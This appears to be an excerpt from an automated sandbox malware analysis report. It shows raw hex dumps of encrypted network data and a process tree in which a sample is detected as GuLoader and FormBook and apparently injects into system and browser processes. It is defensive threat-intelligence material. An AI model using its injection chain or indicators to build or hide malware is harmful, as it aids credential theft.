sEwWrb9';E\|LGIF-
2022-12-05 14:13:35 UTC	181	IN	Data Raw: 79 94 22 c2 ed 35 d7 d7 af a7 f2 ef b2 1c 51 02 19 77 11 77 e4 12 bc 73 72 af b0 f9 37 e5 ba 40 cc b3 0b 37 7f 69 52 68 ad 1e 90 b2 c6 a6 21 c4 1c c3 54 7e e2 aa 4f fe 3f 9f de dd 6b 5d 24 d2 4d 8c b2 08 ac b7 cf 5c eb 51 ff db 08 06 d9 06 4f e2 57 11 a0 aa 1a c4 d3 b5 11 a7 4c ce f1 dc 2c ac 88 e3 5f 5b 17 5a da 20 4a 67 8f 12 2b 54 16 64 6f b6 bf 4f 8c 5a b9 be 4a 23 60 42 7d 77 31 7e ae f3 d5 17 1a b1 43 c8 ab 14 1a 1b a9 18 61 b1 1b b0 09 6d db bf eb 62 92 3b 8f 11 db 19 66 6c eb b6 d2 6a 5c b7 3a af 2c d2 a4 3b 49 1e 40 df 9b b1 c2 30 93 63 5a e7 75 57 77 da 01 b8 48 f3 4a c9 6d 79 ee 6b 5e b1 00 d8 98 b4 37 d3 de db 35 47 62 41 70 98 ce 24 1b b0 f0 74 4d 98 83 f2 9f 2e 81 84 57 08 17 f6 a4 8a c2 dd 94 e1 6b 90 d1 d8 42 34 5e 4f 54 e0 1e 38 42 c3 92 Data Ascii: y"5Qwwsr7@7iRh!T~O?k]$M\QOWL,_[Z Jg+TdoOZJ#`B}w1~Camb;flj\:,;I@0cZuWwHJmyk^75GbAp$tM.WkB4^OT8B
2022-12-05 14:13:35 UTC	183	IN	Data Raw: c6 77 d6 33 1c 09 ee 0a fc 6d 83 73 4f 94 86 d8 c5 22 e7 01 01 97 94 bc eb 59 af bc 92 88 5c b7 b1 45 84 50 f7 d7 00 2a ba be 9e a9 20 59 d8 1e 19 32 08 be eb 74 e5 ff b9 a2 fd 9a c3 3b 63 4c e3 63 cf c5 95 ad fc 67 fb d5 2e 2c d5 39 af 74 dd 7d fd 7e 35 0f 87 6c 28 91 7a 4d c2 fc 45 65 f1 e6 da a1 b3 fc 66 9e 44 5e a0 4d 00 47 82 f6 ff 87 95 4a 65 6d b1 cb 4e 95 0f cb 3a a6 b1 37 53 ac f0 8a 39 e3 08 57 c7 a7 4f 7c 01 af 16 ad a0 51 de 22 e2 bb e3 50 ab 22 c5 73 37 36 1b 00 14 d9 87 4b 00 61 c6 3c 5b af 94 f8 8d f1 6d 35 d5 24 15 4a c4 73 12 9c 8e 58 80 95 fc 9b 8f ec ce a7 0f 4a 90 5a 72 bb 49 49 06 a7 03 b2 f3 3f eb f4 d4 82 74 fe 58 e3 f0 aa 4c 92 dd 17 9e 91 77 03 c1 2e d0 23 d8 87 28 45 4d 7f 4b 13 f4 74 c5 1a a6 f8 e3 81 e1 56 96 c3 d7 0c b6 14 f3 Data Ascii: w3msO"Y\EP* Y2t;cLcg.,9t}~5l(zMEefD^MGJemN:7S9WO\|Q"P"s76Ka<[m5$JsXJZrII?tXLw.#(EMKtV
2022-12-05 14:13:35 UTC	184	IN	Data Raw: f1 9d 57 c2 c0 52 9b a0 a6 db 7d eb c3 ef bb e2 67 45 40 35 ba 5d df 70 be 69 31 6d 95 2e 37 b3 f2 fe e2 2c 22 73 8a 71 5d bf 0e 79 af f7 4a 2f c1 07 bb 9c eb 84 53 91 59 3e d1 4d 08 a6 8e 0e b2 d2 97 78 37 ce 69 79 ed a8 4f 41 e1 3d 6c f3 5f 4f 96 a0 dd 0c cd 8c 56 0a d5 7b 3d 99 f1 75 cc 73 a2 8c b7 4a b1 14 a4 82 9d bf 1a 47 c0 82 92 65 34 8b 18 22 b5 a6 29 dd 2a a9 b4 fe 46 79 f1 3f 04 14 ae 28 6b de 92 83 7d 5b 51 f9 92 5d 5b 64 ea 7a 05 8a ed ba d8 65 cc 52 57 27 81 09 09 92 30 b2 e4 ed 97 86 65 69 c3 e6 9f c3 c0 d4 3a e4 69 8a e4 f4 a6 e6 ae 1e 6d 66 8f b8 b8 d2 e1 6d 48 09 61 16 2b 62 32 6a b2 bc 55 61 5f f5 4b a3 31 68 21 66 5f b3 3b 05 d8 a7 ae a7 8e 12 aa 14 3f c1 69 9a e4 f2 82 00 fe c3 0f bc 6a b9 b0 b7 b5 28 48 8c 99 d4 20 98 13 80 fa 35 99 Data Ascii: WR}gE@5]pi1m.7,"sq]yJ/SY>Mx7iyOA=l_OV{=usJGe4")*Fy?(k}[Q][dzeRW'0ei:imfmHa+b2jUa_K1h!f_;?ij(H 5
2022-12-05 14:13:35 UTC	185	IN	Data Raw: e3 d9 ab ea 09 04 6e a3 7b 71 a1 35 4a 8a ca a1 40 7a f8 2f 6f ee 86 b0 e1 75 d9 99 3d 51 00 88 b1 65 87 7c c4 f1 f4 6e ac a8 76 99 f0 3d ea 9f e9 87 15 b6 1f b3 7b 5c b3 5f 57 7d 97 56 e2 be c2 40 91 72 7b 25 08 32 e8 d9 92 09 42 71 80 69 2d f8 0a 56 26 7b 75 91 01 0d d6 82 90 87 55 47 11 e1 d8 09 8b 95 b4 08 1b 47 f4 08 d4 f0 06 1e e2 2b 57 0e da 27 6d d4 ed d6 27 26 db f5 2d f3 6e 6f 4f 14 cd 57 5c 9a 56 04 bd 89 ba 61 f0 75 69 7e 3c 7e f3 a7 ec 71 25 99 27 39 e9 4f 95 b9 1b 1d c4 6a 58 f6 f9 14 63 52 c3 83 e1 00 7e bf 2a d8 2b 52 8f 8b fb c5 4e c0 c1 78 a4 7b 0c 7c c0 1b f7 a4 4a 6d 1f 4d b8 13 d0 ce df 13 6a 7c c6 1e b8 e4 c9 66 47 50 89 4e 10 09 a1 93 2d 30 89 46 d2 de 8b 4e d4 4a e5 88 27 57 8b a2 80 cc 3e 2f 24 f0 02 f6 3f 9c 32 81 57 20 0d b3 f5 Data Ascii: n{q5J@z/ou=Qe\|nv={\_W}V@r{%2Bqi-V&{uUGG+W'm'&-noOW\Vaui~<~q%'9OjXcR~*+RNx{\|JmMj\|fGPN-0FNJ'W>/$?2W
2022-12-05 14:13:35 UTC	186	IN	Data Raw: ed 0e fb 91 30 63 81 16 b7 51 68 c7 76 34 15 ec 5a 16 80 57 de c5 d4 a3 a8 57 19 16 bd c5 e0 de 09 d8 01 d7 31 2c 4d ee 10 45 2b 44 08 b4 5c e3 f1 43 01 26 5d d0 33 dd d3 48 8c d0 11 79 8c 71 32 7a f9 ea 19 c7 08 3e c4 c2 0e 10 93 d0 b3 34 11 a6 7e 8d 6c 35 5f db a1 73 31 d1 94 73 b2 9a 14 d2 00 a4 97 1b 97 34 48 20 7c 42 af 27 94 a6 09 bc a1 78 e8 9a fb e3 0e 26 f4 42 34 c3 3e a2 12 15 33 72 18 ff 05 e0 d2 9a 5c 3e 2c 6e 52 52 8c 4a d2 dc 6b 81 b8 dc 08 ea 74 ff 36 1e b3 4b 47 c2 2d b2 2e eb c0 77 bb 7a 84 4e 62 9f de 3e 13 7d da 80 31 01 52 4c 6f 96 ff a8 1b ea 00 7a 69 8c e3 b6 0c 8c 4b 84 a2 4b fd 94 79 d9 94 e7 e5 2e fc 8f 27 0f 34 a6 d6 f4 b6 76 dc a7 ee 21 0d fa 5a bb d1 20 3f 62 a3 aa b1 ec 6c 22 ea 0d fc 8b f3 71 71 1f 1c d2 0c 7e 79 f4 d3 0e 64 Data Ascii: 0cQhv4ZWW1,ME+D\C&]3Hyq2z>4~l5_s1s4H \|B'x&B4>3r\>,nRRJkt6KG-.wzNb>}1RLoziKKy.'4v!Z ?bl"qq~yd
2022-12-05 14:13:35 UTC	187	IN	Data Raw: 53 1e d4 0e 88 3b c6 c2 de af 9a ec 2b 2b 9c 71 c1 58 b5 03 4f 9f b6 95 29 c5 71 ce ab 55 d5 86 fa b1 bb cb 8a 5d a5 b2 0f 4b cd 92 18 d3 fd aa 60 e6 47 86 af ba bc ad c5 1e 82 d2 45 e0 fd a1 cc 1c 1b ca 7b b3 10 d9 70 b8 bb f6 95 a3 37 8c 1a 98 08 31 83 94 a1 e9 1f 27 b0 5e 04 c0 89 b8 12 be 75 6b a7 53 47 57 26 38 a6 84 cd 9e 81 6f cf 5e 60 f6 58 ca 8c bb 89 98 e1 59 45 c8 37 9d 51 4b 36 aa c3 86 ae ae 84 bc 89 84 d1 35 89 34 29 1b 05 0f f2 93 32 57 9d bf 77 9d 62 4f 19 df eb c1 ce 3d 52 3a f1 4d 0d d3 f8 e2 3e 29 31 6f db 5b d1 89 6e 96 6b a4 8c 21 70 1b 7f a3 40 85 d8 bd f1 6c 40 af ca 57 28 a6 87 07 9e 53 eb d3 ba 3f 82 c7 d0 8a bd 05 6c f9 1f 73 00 66 f2 ea c1 1d ee 2d d8 e6 cd 26 61 70 8a 9b 73 fe 31 0f ab 88 28 ca 09 24 38 bb b6 a8 ca 89 83 ea 05 Data Ascii: S;++qXO)qU]K`GE{p71'^ukSGW&8o^`XYE7QK654)2WwbO=R:M>)1o[nk!p@l@W(S?lsf-&aps1($8
2022-12-05 14:13:35 UTC	189	IN	Data Raw: ac d7 6b 56 8e 71 59 fd 23 38 db b1 dc 9b d2 b4 ed 41 51 a9 51 11 9d a3 02 27 04 cd ef da f1 ba 95 f6 0e db fc cb 3e 98 95 e8 d0 99 33 67 7e f7 59 18 d1 68 c6 f2 a2 54 8b 79 fd ce a0 a9 f6 9b 22 db 9d fb 43 f9 f8 ec 54 fb 5e f5 49 a3 f6 38 5c b4 d8 c4 09 08 81 90 e5 46 c1 a4 a8 6c f2 94 d4 dd 34 2e 4f e3 bc b8 ee 25 eb 30 43 ec 75 bf 13 e9 b6 96 22 14 34 79 9a a4 7e 77 7a 5b 52 63 2d f6 b0 a6 6f 52 45 69 bc d2 8a 37 c4 8e 57 44 0f 2f ee de 2a 7a c4 4f ca fc 29 f3 f9 a2 8c 20 75 36 49 e7 cc db ea 61 57 34 78 7f 1c 9f 25 b7 99 93 34 6c c0 2f 34 9b ad ce fe 16 63 e4 ac ce 65 29 02 63 a7 3b e1 0b 50 6d ce 56 2d 69 2e 35 67 e0 f3 89 19 1a db de 78 dc 1a ef 4f 94 d1 c9 d7 3c 10 43 61 33 37 fe 5e 3d 72 db 22 d8 c8 a9 9f 42 74 79 3e 67 0c 91 54 df 9d 0e e3 36 ac Data Ascii: kVqY#8AQQ'>3g~YhTy"CT^I8\Fl4.O%0Cu"4y~wz[Rc-oREi7WD/*zO) u6IaW4x%4l/4ce)c;PmV-i.5gxO<Ca37^=r"Bty>gT6
2022-12-05 14:13:35 UTC	190	IN	Data Raw: d2 59 78 5f b6 a1 c8 e5 37 66 7d 10 03 14 fe be 0f 68 9a a2 9d d4 48 2e e9 8c 86 36 52 61 62 97 02 6e 94 03 61 65 22 91 2b f7 a8 6d 1a 94 3f 95 53 ae 3f d5 4e 89 c7 19 62 40 be bb 46 bd dc 78 50 22 8e 01 b2 e4 95 0c 33 c0 80 e9 91 be 0a c2 2e eb a3 f9 73 da 91 e2 12 d2 85 f9 89 cc 97 8a 57 ea a3 3c 59 67 50 3c af 71 21 9c 03 b9 85 b3 49 5f 6e 30 02 d7 91 eb 73 c5 a8 18 b0 23 f9 3c 51 6e a3 a1 e6 38 7e 58 ac 7b 18 47 49 47 6d ee 2a bd 3c f2 84 ac a0 7d 06 de cf e8 ac 8b c5 20 a7 8b c9 92 1e 21 fc 04 56 dc b5 4b 37 83 8e 02 f0 ec 41 db 5c 71 d3 ce 63 fd 49 dd 1c 03 28 e1 65 e2 b8 51 8a 78 41 e6 e9 9f 74 28 c1 be d9 4c a0 ab db b3 c1 63 3d ee 4f 99 82 dc d6 a2 b8 87 73 61 25 98 d8 22 a2 6d 81 0a 78 b5 83 79 c7 a3 b9 54 61 54 58 7e a3 be 72 d9 ea d1 b5 61 6e Data Ascii: Yx_7f}hH.6Rabnae"+m?S?Nb@FxP"3.sW<YgP<q!I_n0s#<Qn8~X{GIGm*<} !VK7A\qcI(eQxAt(Lc=Osa%"mxyTaTX~ran

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Jjfmcz1Hsz.exePID: 2548, Parent PID: 4696

General

Target ID:	2
Start time:	15:12:51
Start date:	05/12/2022
Path:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Imagebase:	0x400000
File size:	298144 bytes
MD5 hash:	F4CAD3F0195D098CED41C4926A5695C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000002.00000002.1200754284.000000000072B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1201978346.0000000003320000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Jjfmcz1Hsz.exePID: 2000, Parent PID: 2548

General

Target ID:	11
Start time:	15:13:14
Start date:	05/12/2022
Path:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Imagebase:	0x400000
File size:	298144 bytes
MD5 hash:	F4CAD3F0195D098CED41C4926A5695C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000B.00000000.978219667.0000000001660000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Chronological Activities

Analysis Process: RAVCpl64.exePID: 7608, Parent PID: 2000

General

Target ID:	18
Start time:	15:13:43
Start date:	05/12/2022
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16696840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: help.exePID: 3568, Parent PID: 7608

General

Target ID:	19
Start time:	15:13:46
Start date:	05/12/2022
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xe0000
File size:	10240 bytes
MD5 hash:	DD40774E56D4C44B81F2DFA059285E75
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exePID: 4696, Parent PID: 3568

General

Target ID:	29
Start time:	15:13:59
Start date:	05/12/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff657ff0000
File size:	4849904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: firefox.exePID: 8880, Parent PID: 3568

General

Target ID:	30
Start time:	15:14:50
Start date:	05/12/2022
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff6c7650000
File size:	597432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate